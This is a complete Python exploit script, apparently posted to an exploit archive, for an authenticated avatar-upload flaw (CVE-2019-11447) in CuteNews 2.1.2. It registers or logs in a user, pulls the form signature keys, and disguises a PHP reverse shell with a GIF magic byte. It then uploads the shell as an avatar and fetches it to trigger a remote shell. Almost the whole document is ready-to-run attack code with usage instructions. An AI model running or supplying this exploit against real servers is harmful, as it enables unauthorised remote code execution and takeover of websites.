CuteNews 2.1.2 Shell Upload

#! /usr/bin/env python3

## Exploit Title: CuteNews 2.1.2 - Avatar upload RCE (Authenticated)
## Exploit Author: Mayank Deshmukh
## Date: 2021-03-17
## Vendor Homepage: https://cutephp.com/
## Software Link: https://cutephp.com/click.php?cutenews_latest
## Version: 2.1.2
## CVE: CVE-2019-11447
## CVE Reference: https://nvd.nist.gov/vuln/detail/CVE-2019-11447
## Tested on: Kali GNU/Linux 2020.3
## Author website: https://coldfusionx.github.io
## Author email: [email protected]
## Detailed POC: https://github.com/ColdFusionX/CVE-2019-11447_CuteNews-AvatarUploadRCE

import requests
import sys
import re
import argparse, textwrap

#Expected Arguments
parser = argparse.ArgumentParser(description="CuteNews 2.1.2 - Avatar upload RCE (Authenticated) by ColdFusionX", formatter_class=argparse.RawTextHelpFormatter, 
epilog=textwrap.dedent(''' 

Exploit Usage : 
./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[^] Select your PHP file -> rev.php
OR
[^] Select your PHP file -> ~/Downloads/rev.php
[^] Press y/n to trigger reverse shell -> y

'''))                     

parser.add_argument("-l","--url", help="CuteNews URL (Example: http://127.0.0.1)") 
parser.add_argument("-u","--username", help="Username to Login/Register") 
parser.add_argument("-p","--password", help="Password to Login/Register")
parser.add_argument("-e","--email", help="Email to Login/Register")    
args = parser.parse_args()

if len(sys.argv) <= 8:
    print (f"Exploit Usage: ./exploit.py -h [help] -l [url] -u [username] -p [password] -e [email ID]")          
    sys.exit()  

# Variables
Host = args.url
Username = args.username
Password = args.password
Email = args.email

r = requests.session()

## Use this for Proxy
#r.proxies.update( { 'http':'http://127.0.0.1:8080' } ) 

# Login check
def login():
    init = r.get(f"{Host}/CuteNews/index.php")
    cookie = init.cookies.get('CUTENEWS_SESSION')

    headerscontent = {
            'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'
                     }
    cookie = {
            'CUTENEWS_SESSION':cookie
              }

    postcontent = {
            'action' : 'dologin',
            'username' : f"{Username}",
            'password' : f"{Password}",
                  }
    
    login = r.post(f'{Host}/CuteNews/index.php', data = postcontent, cookies= cookie, headers = headerscontent, allow_redirects= False)
    
    if 302 == login.status_code:
        print (f"[+] User exists ! Logged in Successfully")
        return True

# Registering User
def register():

    headerscontent = {
            'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'
                     }
    postcontent = {
            'action' : 'register',
            'regusername' : f"{Username}",
            'regnickname' : f"{Username}",
            'regpassword' : f"{Password}",
            'confirm' : f"{Password}",
            'regemail' : f"{Email}"
                  }

    registration = r.post(f'{Host}/CuteNews/index.php?register', data = postcontent, headers = headerscontent, allow_redirects= False)
    
    if 302 == registration.status_code:
        print (f"[+] Credentials {Username}:{Password} Successfully Registered")
    else:
        sys.exit()

# Avatar upload    
def upload():

    keys = r.get(f"{Host}/CuteNews/index.php?mod=main&opt=personal")
    signature_key = re.search('signature_key" value="(.*?)"', keys.text).group(1)
    signature_dsi = re.search('signature_dsi" value="(.*?)"', keys.text).group(1)

# Grab PHP reverse shell from : https://github.com/pentestmonkey/php-reverse-shell    
    MalFile = input("[^] Select your PHP file -> ")

# Adding Magic Byte to PHP file

    with open(MalFile, 'r') as original: data = original.read()
    print()
    print ("[*] Adding Magic Byte to PHP file")
    with open(MalFile, 'w') as modified: modified.write("GIF8;\n" + data)

    Efile = open(MalFile, 'rb')

    headerscontent = {
            'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'
                     }
    files = {
        "mod" : (None, "main"),
        "opt" : (None, "personal"),
        "__signature_key" : (None, f"{signature_key}"),
        "__signature_dsi" : (None, f"{signature_dsi}"),
        "editpassword" : (None, ""),
        "confirmpassword" : (None, ""),
        "editnickname" : (None,Username),
        "avatar_file" : (f"{Username}.php", Efile ) ,
        "more[site]" : (None, ""),      
        "more[about]" : (None, "")
    }
    shell_upload = r.post(f"{Host}/CuteNews/index.php", headers = headerscontent, files = files)

# Removing Magic Byte from PHP file 
    with open(MalFile,"r+") as f:
        new_f = f.readlines()
        f.seek(0)
        for line in new_f:
            if "GIF8;" not in line:
                f.write(line)
        f.truncate()

    if 'User info updated!' in shell_upload.text:
        print ("[+] Upload Successful !!")
        print (f"[*] File location --> {Host}/CuteNews/uploads/avatar_{Username}_{Username}.php")
        print ()
        
        Trig = input("[^] Press y/n to trigger PHP file -> ")
        if Trig == 'y':
            print ("[*] Check listener for reverse shell") 
            shell = r.get(f"{Host}/CuteNews/uploads/avatar_{Username}_{Username}.php")                     
        else:
            print ("[*] Execution Completed") 
            sys.exit()
    elif 'Error: avatar is not correct' in shell_upload.text:
        print ()
        print ("[*] Uploading Failed ! Try again")
    else:
        sys.exit()

if __name__ == "__main__":
    
    print ('[+] CuteNews 2.1.2 - Avatar Upload RCE exploit by ColdFusionX \n ')
    if login() == True:
        upload()
    else:
        register()
        upload()
    print ("[*] Execution Completed")